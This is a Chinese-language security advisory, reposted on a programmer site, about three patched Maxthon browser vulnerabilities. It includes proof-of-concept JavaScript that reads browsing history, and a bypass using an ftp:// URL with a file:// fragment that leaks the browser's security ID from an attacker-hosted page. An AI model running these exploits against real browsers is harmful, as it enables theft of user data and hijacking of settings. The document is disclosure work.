欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

遨游已经修复的三个安全漏洞分析

程序员文章站 2022-03-19 12:15:14
在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon.cn/,此次更新修复了三个安全问题,主要的问题... 08-10-08...
在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon.cn/,此次更新修复了三个安全问题,主要的问题细节如下: 漏洞来源:http://www.80sec.com/release/maxthon-vulns-poc.txt 1 浏览器内核漏洞导致的本地跨域漏洞 漏洞说明:maxthon采用了系统的ie内核,但是该内核可能存在一些安全漏洞导致跨域攻击,而遨游的max:等的域是在本地等同于file://,所以这个跨域攻击将导致在本地上下文中执行javascript代码,这里只给出取得遨游浏览历史记录的poc。 漏洞poc: <a href="">maxthon exploit</a>
<script>
function win(){
x=window.open("max:history");
settimeout(function(){
x.location=new string("javascript:x=maxhistory.history.list.site.loaddata();for(i=0;i<x.length;i ) document.write(x[i].site \”<br>\”);”)
},3000)
}
window.onload=function(){
for (i=0;i<document.links.length;i ) {
document.links[i].href=”javascript:win()”
}
}
</script>
漏洞修复:在ie内核修复之前,遨游新版本已经修复这个安全漏洞 2 遨游安全中心漏洞导致的远程修改任意用户设置 漏洞说明:遨游对ie内核的一些特性并不是十分了解,导致在处理一些特殊情况时出现安全漏洞。遨游的控制中心实际上就是一组html javascript,通过这些页面可以读取敏感数据,修改浏览器设置,下载文件等等。当然,遨游也有自己的安全策略,将那些html文件放到外部站点上并不能直接调用,因为遨游有一个安全控制策略,security.src,这个文件代码如下:
var max_security_id=''; var url=string(document.location).tolowercase(); if(url.indexof('file://')>-1&&url.indexof('http://')==-1&&url.indexof('https://')==-1){ max_security_id='{b73b3ac9-b009-4429-ae67-514332d791fe}'; }else{ document.location='about:blank'; } 其中max_security_id是遨游在调用各种控件时必须的一个参数,这个参数在各个功能里是必须的,各个机器的max_security_id并不相同。如果我们能取得这个max_security_id那么就可以在远程任意站点调用遨游的各种功能譬如设置,读取敏感数据甚至是远程代码执行了。 首先,这个max_security_id每次启动貌似都会更改,这个max_security_id会存储在安装目录的template/security.src里,而我们可以在自己的站点页面里做如下调用:
<script src="e:\program files\maxthon2\template\security.src"></script>
<script src="d:\program files\maxthon2\template\security.src"></script>
<script src="c:\program files\maxthon2\template\security.src"></script>
别意外,遨游是允许做这样调用本地文件的:),但是security.src也是有限制的,只有当location里包含file:///并且不包含http://和https:///的时候才会赋值,否则会跳转。这里遨游有个错误就是黑名单策略导致可以使用譬如ftp://的协议饶过,至于想包含file://也很简单:
ftp://www.foo.com/exploit.html#file://80sec.com
这样一个地址实际访问的是exploit.html,但是location却包含file://,安全策略被饶过,可以取得max_security_id,然后利用取得的max_security_id可以做一切操作。 漏洞poc: 搭建一个匿名ftp服务器www.foo.com,然后在恶意站点做如下引用:
<iframe src="ftp://www.foo.com/history/index.htm#file:///www.80sec.com" width=100% height=100%>
/history/index.htm为放在www.foo.com上的精心构造的exploit,最简单的方式就是将官方安装目录里的template里的history等子目录下面的index.html里的
<script type="text/javascript" src="../security.src"></script>
换成
<script src="e:\program files\maxthon2\template\security.src"></script>
<script src="d:\program files\maxthon2\template\security.src"></script>
<script src="c:\program files\maxthon2\template\security.src"></script>
通过修改里面的index.htm内容就可以修改浏览器设置,读取历史记录等等 漏洞修复:新版本将代码修正为
var max_security_id=''; if(string(window.document.location).tolowercase().indexof('file://')==0){ max_security_id='{02e14d94-53c8-4b6d-89ae-755dc5299c6c}'; }else{ document.location='about:blank'; }
限定只能本地文件能引用这个js,修复了这个问题。 3 rss订阅跨站脚本漏洞 漏洞说明:遨游在实现rss功能时存在问题,导致在访问有问题的页面时会出现xss漏洞 漏洞poc:订阅http://www.80sec.com/feed就可以看到效果:) 漏洞修复:新版本已经修复 maxthon对待漏洞的态度非常严谨,希望maxthon用户尽快升级到新版.